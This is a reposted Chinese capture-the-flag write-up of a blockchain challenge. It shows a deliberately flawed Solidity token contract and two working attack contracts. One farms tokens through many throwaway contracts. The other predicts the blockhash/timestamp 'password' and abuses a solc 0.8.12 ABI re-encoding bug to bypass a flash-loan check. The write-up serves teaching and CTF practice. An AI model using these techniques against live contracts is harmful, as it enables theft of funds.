某区块链题目详解
2022-11-20 17:59:28 Author: mp.weixin.qq.com(查看原文) 阅读量:9 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:oacia

本次题目的地址为[email protected]

前言

这一次1024程序员节中有区块链相关的题目,作为今年才开始起步区块链的小萌新,这一题也是整整看了一整个周末才做出来,不过做出来之后也是相当的具有成就感的。话不多说,我们现在就来看一看如何做出这一题。

源码

先上合约源码:
// SPDX-License-Identifier: MIT// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol) pragma solidity 0.8.12; import "./IERC20.sol";import "./IERC20Metadata.sol";import "./Context.sol"; //import "@openzeppelin/contracts/token/ERC20/IERC20.sol";//import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";//import "@openzeppelin/contracts/utils/Context.sol";  struct Coupon {    uint loankey;    uint256 amount;    address buser;    bytes reason;}struct Signature {    uint8 v;    bytes32[2] rs;}struct SignCoupon {    Coupon coupon;    Signature signature;}  contract MyToken is Context, IERC20, IERC20Metadata {    mapping(address => uint256) public _balances;    mapping(address => uint) public _ebalances;    mapping(address => uint) public ethbalances;     mapping(address => mapping(address => uint256)) private _allowances;     mapping(address => uint) public _profited;    mapping(address => uint) public _auth_one;    mapping(address => uint) public _authd;    mapping(address => uint) public _loand;    mapping(address => uint) public _flag;    mapping(address => uint) public _depositd;     uint256 private _totalSupply;     string private _name;    string private _symbol;     address owner;    address backup;    uint secret;    uint tokenprice;     Coupon public c;     address public lala;    address public xixi;      //mid = bilibili uid    //b64email = base64(your email address)    //Don't leak your bilibili uid    //Gmail is ok. 163 and qq may have some problems.    event sendflag(string mid, string b64email);    event changeprice(uint secret_);     constructor(string memory name_, string memory symbol_, uint secret_) {        _name = name_;        _symbol = symbol_;        owner = msg.sender;        backup = msg.sender;        tokenprice = 6;        secret = secret_;        _mint(owner, 2233102400);    }     modifier onlyowner() {        require(msg.sender == owner);        _;    }     /**     * @dev Returns the name of the token.     */    function name() public view virtual override returns (string memory) {        return _name;    }      function symbol() public view virtual override returns (string memory) {        return _symbol;    }      function decimals() public view virtual override returns (uint8) {        return 18;    }     /**     * @dev See {IERC20-totalSupply}.     */    function totalSupply() public view virtual override returns (uint256) {        return _totalSupply;    }     /**     * @dev See {IERC20-balanceOf}.     */    function balanceOf(address account) public view virtual override returns (uint256) {        return _balances[account];    }      function transfer(address to, uint256 amount) public virtual override returns (bool) {        address owner = _msgSender();        _transfer(owner, to, amount);        return true;    }     function deposit() public {        require(_depositd[msg.sender] == 0, "you can only deposit once");        _depositd[msg.sender] = 1;        ethbalances[msg.sender] += 1;    }     function getBalance() public view returns (uint) {        return address(this).balance;                      }      function setbackup() public onlyowner {        owner = backup;    }     function ownerbackdoor() public {        require(msg.sender == owner);        _mint(owner, 1000);    }     function auth1(uint pass_) public {        require(pass_ == secret, "auth fail");        require(_authd[msg.sender] == 0, "already authd");        _auth_one[msg.sender] += 1;        _authd[msg.sender] += 1;    }     function auth2(uint pass_) public {        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));        require(pass == pass_, "password error, auth fail");        require(_auth_one[msg.sender] == 1, "need pre auth");        require(_authd[msg.sender] == 1, "already authd");        _authd[msg.sender] += 1;    }        function payforflag(string memory mid, string memory b64email) public {        require(_flag[msg.sender] == 2);        emit sendflag(mid, b64email);    }     function flashloan(SignCoupon calldata scoupon) public {          require(scoupon.coupon.loankey == 0, "loan key error");         require(msg.sender == address(this), "hacker get out");        Coupon memory coupon = scoupon.coupon;        Signature memory sig = scoupon.signature;        c=coupon;         require(_authd[scoupon.coupon.buser] == 2, "need pre auth");         require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");        require(scoupon.coupon.amount <= 300, "loan amount error");         _loand[scoupon.coupon.buser] = 1;         _ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;    }       function profit() public {        require(_profited[msg.sender] == 0);        _profited[msg.sender] += 1;        _transfer(owner, msg.sender, 1);    }      function borrow(uint amount) public {        require(amount == 1);        require(_profited[msg.sender] <= 1);        _profited[msg.sender] += 1;        _transfer(owner, msg.sender, amount);    }      function buy(uint amount) public {        require(amount <= 300, "max buy count is 300");        uint price;        uint ethmount = _ebalances[msg.sender];        if (ethmount < 10) {            price = 1000000;        } else if (ethmount >= 10 && ethmount <= 233) {            price = 10000;        } else {            price = 1;        }        uint payment = amount * price;        require(payment <= ethmount);        _ebalances[msg.sender] -= payment;        _transfer(owner, msg.sender, amount);    }      function sale(uint amount) public {        require(_balances[msg.sender] >= amount, "fail to sale");        uint earn = amount * tokenprice;        _transfer(msg.sender, owner, amount);        _ebalances[msg.sender] += earn;    }     function withdraw() public {        require(ethbalances[msg.sender] >= 1);        require(_ebalances[msg.sender] >= 1812);        payable(msg.sender).call{value:100000000000000000 wei}("");         _ebalances[msg.sender] = 0;        _flag[msg.sender] += 1;    }      /**     * @dev See {IERC20-allowance}.     */    function allowance(address owner, address spender) public view virtual override returns (uint256) {        return _allowances[owner][spender];    }     function approve(address spender, uint256 amount) public virtual override returns (bool) {        address owner = _msgSender();        _approve(owner, spender, amount);        return true;    }     function transferFrom(        address from,        address to,        uint256 amount) public virtual override returns (bool) {        require(msg.sender == owner);     //不允许被owner以外调用        address spender = _msgSender();        _spendAllowance(from, spender, amount);        _transfer(from, to, amount);        return true;    }      function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {        require(msg.sender == owner);     //不允许被owner以外调用        address owner = _msgSender();        _approve(owner, spender, allowance(owner, spender) + addedValue);        return true;    }      function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {        require(msg.sender == owner);     //不允许被owner以外调用        address owner = _msgSender();        uint256 currentAllowance = allowance(owner, spender);        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");        unchecked {            _approve(owner, spender, currentAllowance - subtractedValue);        }         return true;    }      function _transfer(        address from,        address to,        uint256 amount) internal virtual {        require(from != address(0), "ERC20: transfer from the zero address");        require(to != address(0), "ERC20: transfer to the zero address");         _beforeTokenTransfer(from, to, amount);         uint256 fromBalance = _balances[from];        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");        unchecked {            _balances[from] = fromBalance - amount;            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by            // decrementing then incrementing.            _balances[to] += amount;        }         emit Transfer(from, to, amount);         _afterTokenTransfer(from, to, amount);    }      function _mint(address account, uint256 amount) internal virtual {        require(account != address(0), "ERC20: mint to the zero address");         _beforeTokenTransfer(address(0), account, amount);         _totalSupply += amount;        unchecked {            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.            _balances[account] += amount;        }        emit Transfer(address(0), account, amount);         _afterTokenTransfer(address(0), account, amount);    }      function _burn(address account, uint256 amount) internal virtual {        require(account != address(0), "ERC20: burn from the zero address");         _beforeTokenTransfer(account, address(0), amount);         uint256 accountBalance = _balances[account];        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");        unchecked {            _balances[account] = accountBalance - amount;            // Overflow not possible: amount <= accountBalance <= totalSupply.            _totalSupply -= amount;        }         emit Transfer(account, address(0), amount);         _afterTokenTransfer(account, address(0), amount);    }      function _approve(        address owner,        address spender,        uint256 amount) internal virtual {        require(owner != address(0), "ERC20: approve from the zero address");        require(spender != address(0), "ERC20: approve to the zero address");         _allowances[owner][spender] = amount;        emit Approval(owner, spender, amount);    }      function _spendAllowance(        address owner,        address spender,        uint256 amount) internal virtual {        uint256 currentAllowance = allowance(owner, spender);        if (currentAllowance != type(uint256).max) {            require(currentAllowance >= amount, "ERC20: insufficient allowance");            unchecked {                _approve(owner, spender, currentAllowance - amount);            }        }    }      function _beforeTokenTransfer(        address from,        address to,        uint256 amount) internal virtual {}      function _afterTokenTransfer(        address from,        address to,        uint256 amount) internal virtual {}     // debug param secret    function get_secret() public view returns (uint) {        require(msg.sender == owner);        return secret;    }     // debug param tokenprice    function get_price() public view returns (uint) {        return tokenprice;    }     // test need to be delete    function testborrowtwice(SignCoupon calldata scoupon) public {        require(scoupon.coupon.loankey == 2233);        MyToken(this).flashloan(scoupon);    }     // test need to be delete    function set_secret(uint secret_) public onlyowner {        secret = secret_;        emit changeprice(secret_);    }}

1.明确目标

这里我们注意到了一个函数payforflag,很明显,我们需要调用这一个函数来获得我们的flag,那么调用这个函数的条件是什么呢?
function payforflag(string memory mid, string memory b64email) public {        require(_flag[msg.sender] == 2);        emit sendflag(mid, b64email);    }
我们需要_flag[msg.sender]的值为2。
接下来要做的就是寻找函数使_flag[msg.sender]的值到2。
通过寻找,我们找到了withdraw这个函数,而这个函数的执行需要满足两个条件,分别是ethbalances[msg.sender] >= 1和_ebalances[msg.sender] >= 1812。
function withdraw() public {        require(ethbalances[msg.sender] >= 1);        require(_ebalances[msg.sender] >= 1812);        payable(msg.sender).call{value:100000000000000000 wei}("");         _ebalances[msg.sender] = 0;        _flag[msg.sender] += 1;    }

第一个条件

先看第一个条件ethbalances[msg.sender] >= 1,我们可以使用deposit这个函数来令其满足。
function deposit() public {        require(_depositd[msg.sender] == 0, "you can only deposit once");        _depositd[msg.sender] = 1;        ethbalances[msg.sender] += 1;    }

第二个条件

再看第二个条件_ebalances[msg.sender] >= 1812,涉及到该变量的函数有profit,borrow,buy,sale。
function profit() public {        require(_profited[msg.sender] == 0);        _profited[msg.sender] += 1;        _transfer(owner, msg.sender, 1);    }      function borrow(uint amount) public {//获得1个_balances        require(amount == 1);        require(_profited[msg.sender] <= 1);        _profited[msg.sender] += 1;        _transfer(owner, msg.sender, amount);    }      function buy(uint amount) public {//通过出售_ebalances购买_balances        require(amount <= 300, "max buy count is 300");        uint price;        uint ethmount = _ebalances[msg.sender];        if (ethmount < 10) {            price = 1000000;        } else if (ethmount >= 10 && ethmount <= 233) {            price = 10000;        } else {            price = 1;        }        uint payment = amount * price;        require(payment <= ethmount);        _ebalances[msg.sender] -= payment;        _transfer(owner, msg.sender, amount);    }      function sale(uint amount) public {//通过出售_balances获得_ebalances        require(_balances[msg.sender] >= amount, "fail to sale");        uint earn = amount * tokenprice;        _transfer(msg.sender, owner, amount);        _ebalances[msg.sender] += earn;    }
我们看看profit这个函数,只能运行一次,获得一个_balances;而borrow这个函数,一共可以执行两次获得两个_balances。但是这两个函数都有_profited[msg.sender]这个变量进行限制,也就是说,我们最多只能通过profit或borrow函数获得2个_balances。
那么_balances有什么用呢?看一看sale函数,我们可以把_balances卖掉得到_ebalances,其中tokenprice已经被定义为6了,所以_balances与_ebalances之间的兑换比例为1:6。
而buy这个函数,只有当_ebalances大于233时,_ebalances与_balances之间的兑换比例才是1:1。
仔细看看上面两段话,稍微思考一下就可以明白,只要我的_ebalances比233要大,那么不就可以通过与_balances互刷的方式不断增加我的_ebalances从而满足条件2_ebalances[msg.sender] >= 1812?
这里我举个简单的例子,假设我现在有_ebalances300个,那么我可以通过buy(300)获得_balances300个,随后在通过sale(300)获得_ebalances300*6=1800个,然后再重复上面的过程,那么我的_ebalances不就可以源源不断的增加。
所以我们现在要做的可以是:

获得_ebalances大于233个;

或者_balances大于等于39个(因为获得39个以上的_balances后,可以通过sale函数获得的_ebalances的数量是6*_balances,即234个)。

2.编写攻击合约

在求解这一题的过程中,我想到了两种方法都可以来获得flag,接下来听我一一道来。

方法①

我们知道每一个初始账号都可以固定获得2个_balances,那么我们能否通过小号为大号通过transfer方法发送_balances的方法获得足够数量的_balances呢?答案是可行的。
直接上代码!
先写一个拿两个_balances并转给大号的合约。
// SPDX-License-Identifier: MITpragma solidity ^0.8.12;import "./ctf.sol";contract mulcreate {    MyToken public mytoken;     constructor(address _MyTokenAddress) {        mytoken = MyToken(_MyTokenAddress);    }    receive() external payable {}    function onestep() public{        mytoken.borrow(1);        mytoken.borrow(1);        mytoken.transfer(adreess(你的主账户地址),2);    }}
再写一个批量创建合约的合约。
// SPDX-License-Identifier: MITpragma solidity ^0.8.12;import "./create_contract.sol"; contract mulcreate_Factory {  mulcreate Mulcreate;  function create() external {    uint i = 0;    for(i=0;i<=20;i=i+1){        Mulcreate = new mulcreate(0x053cd080A26CB03d5E6d2956CeBB31c56E7660CA);//这个地址就是题目合约的地址        Mulcreate.onestep();    }   }}
通过调用第二个合约,给大号足够的_balances启动资金,就可以开始刷_ebalances拿flag咯。

方法②

细心的同学在做这题的时候有没有发现这个函数flashloan,可以直接给你增加300的_ebalances!
function flashloan(SignCoupon calldata scoupon) public {          require(scoupon.coupon.loankey == 0, "loan key error");         require(msg.sender == address(this), "hacker get out");        Coupon memory coupon = scoupon.coupon;        Signature memory sig = scoupon.signature;        c=coupon;         require(_authd[scoupon.coupon.buser] == 2, "need pre auth");         require(_loand[scoupon.coupon.buser] == 0, "you have already loaned");        require(scoupon.coupon.amount <= 300, "loan amount error");         _loand[scoupon.coupon.buser] = 1;         _ebalances[scoupon.coupon.buser] += scoupon.coupon.amount;    }
不过直接编写攻击合约来调用这个函数肯定是不行的,因为require(msg.sender == address(this), "hacker get out")这一句的限制了,咋办嘞?
再找找看吧,于是我们找到了一个调用flashloan的函数testborrowtwice,这不就正好可以满足上面的条件了吗?
function testborrowtwice(SignCoupon calldata scoupon) public {        require(scoupon.coupon.loankey == 2233);        MyToken(this).flashloan(scoupon);    }
不过flashloan内还有限制条件require(_authd[scoupon.coupon.buser] == 2, "need pre auth"),就是说需要验证的意思,我们找找这两个验证函数auth1和auth2。
function auth1(uint pass_) public {        require(pass_ == secret, "auth fail");        require(_authd[msg.sender] == 0, "already authd");        _auth_one[msg.sender] += 1;        _authd[msg.sender] += 1;    }     function auth2(uint pass_) public {        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));        require(pass == pass_, "password error, auth fail");        require(_auth_one[msg.sender] == 1, "need pre auth");        require(_authd[msg.sender] == 1, "already authd");        _authd[msg.sender] += 1;    }
对于auth1,secret不是直接在constructor中有定义了嘛,直接看合约。
NICE!一下子就找到了根本难不倒我们。
但是当你开开心心的把123456输进去的时候,结果发现居然没通过?
怎么回事?再找找看。于是你在源码中发现了这个set_secret!没想到owner还可以改secret!
function set_secret(uint secret_) public onlyowner {       secret = secret_;       emit changeprice(secret_);   }
这个我们玩区块链的根本不慌,区块链的每一笔交易都是有记录的,我们直接去看最早的交易记录。
这不就有了嘛
看看这笔交易的信息。
secret就是0x154be90,转一下十进制就是22331024,还挺有寓意的嘛,
接下来就是搞auth2 的时候了。
function auth2(uint pass_) public {        uint pass = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));        require(pass == pass_, "password error, auth fail");        require(_auth_one[msg.sender] == 1, "need pre auth");        require(_authd[msg.sender] == 1, "already authd");        _authd[msg.sender] += 1;    }
当我看到uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))这个的时候,我瞬间乐开了花,这我可太熟悉不过了。
看看这篇文章Source of Randomness简直简直就是一个模子里刻出来的,
uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))这玩意儿看着随机,其实是确定的!
接下来写个攻击合约就可以赚到大把大把的_balances咯。
直接上代码!
// SPDX-License-Identifier: MITpragma solidity ^0.8.12;import "./ctf.sol";contract Attack {    MyToken public mytoken;     constructor(address _MyTokenAddress) {//_MyTokenAddress是题目的合约地址        mytoken = MyToken(_MyTokenAddress);    }    receive() external payable {}     function attack() public{        mytoken.deposit();//满足ethbalances[msg.sender] >= 1         mytoken.borrow(1);        mytoken.borrow(1);//得到两个_balances         mytoken.auth1(22331024);//第一个验证         uint answer = uint(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        );        mytoken.auth2(answer);//第二个验证         SignCoupon memory scoupon;        scoupon.coupon.loankey=2233;        scoupon.coupon.amount=300;        scoupon.coupon.buser=address(this);        mytoken.testborrowtwice(scoupon);//获得_ebalances 300个         mytoken.buy(302);//用_ebalances去换_balances 302个         mytoken.transfer(adrress(你自己的账户地址),302);//给你的大号转账_balances 302个    }     function getBalance() public view returns (uint) {        return address(this).balance;    }}
这里简单说明一下为什么将scoupon.coupon.loankey赋值为2233通过testborrowtwice后,在flashloan函数中scoupon.coupon.loankey又变为0,这是由于solidity0.8.12编译器自身原因导致了这个bug,从而使得第一个成员变量的值清零,在solidity0.8.16后这个问题得到了修复。
贴一下bug描述:
"uid": "SOL-2022-6","name": "AbiReencodingHeadOverflowWithStaticArrayCleanup","summary": "ABI-encoding a tuple with a statically-sized calldata array in the last component would corrupt 32 leading bytes of its first dynamically encoded component.","description": "When ABI-encoding a statically-sized calldata array, the compiler always pads the data area to a multiple of 32-bytes and ensures that the padding bytes are zeroed. In some cases, this cleanup used to be performed by always writing exactly 32 bytes, regardless of how many needed to be zeroed. This was done with the assumption that the data that would eventually occupy the area past the end of the array had not yet been written, because the encoder processes tuple components in the order they were given. While this assumption is mostly true, there is an important corner case: dynamically encoded tuple components are stored separately from the statically-sized ones in an area called the *tail* of the encoding and the tail immediately follows the *head*, which is where the statically-sized components are placed. The aforementioned cleanup, if performed for the last component of the head would cross into the tail and overwrite up to 32 bytes of the first component stored there with zeros. The only array type for which the cleanup could actually result in an overwrite were arrays with ``uint256`` or ``bytes32`` as the base element type and in this case the size of the corrupted area was always exactly 32 bytes. The problem affected tuples at any nesting level. This included also structs, which are encoded as tuples in the ABI. Note also that lists of parameters and return values of functions, events and errors are encoded as tuples.","introduced": "0.5.8","fixed": "0.8.16","severity": "medium","conditions": {    "ABIEncoderV2": true}

结语

至此,这第四题区块链的解答就到此结束了。
说一说感受吧,每次做区块链的题目都感觉特别有意思,其实本人过去是学习逆向工程的,今年才开始接触区块链,解区块链题目的过程说实话和逆向分析真的好像,都是一个逆向的过程,分析需要满足的条件,然后设法编写合约来让条件得到满足,最终满足所有需要的条件之后获得flag。

看雪ID:oacia

https://bbs.pediy.com/user-home-963320.htm

*本文由看雪论坛 oacia 原创,转载请注明来自看雪社区

看雪2022KCTF秋季赛官网:https://ctf.pediy.com/game-team_list-18-29.htm

# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458484353&idx=1&sn=75abfbece1764b962562c0b4d9a4f12b&chksm=b18e4e0b86f9c71d784895d4161fe09cf186a27fa29fd8ab0b59cf18a89649a9fff5831ea4f8#rd
如有侵权请联系:admin#unsafe.sh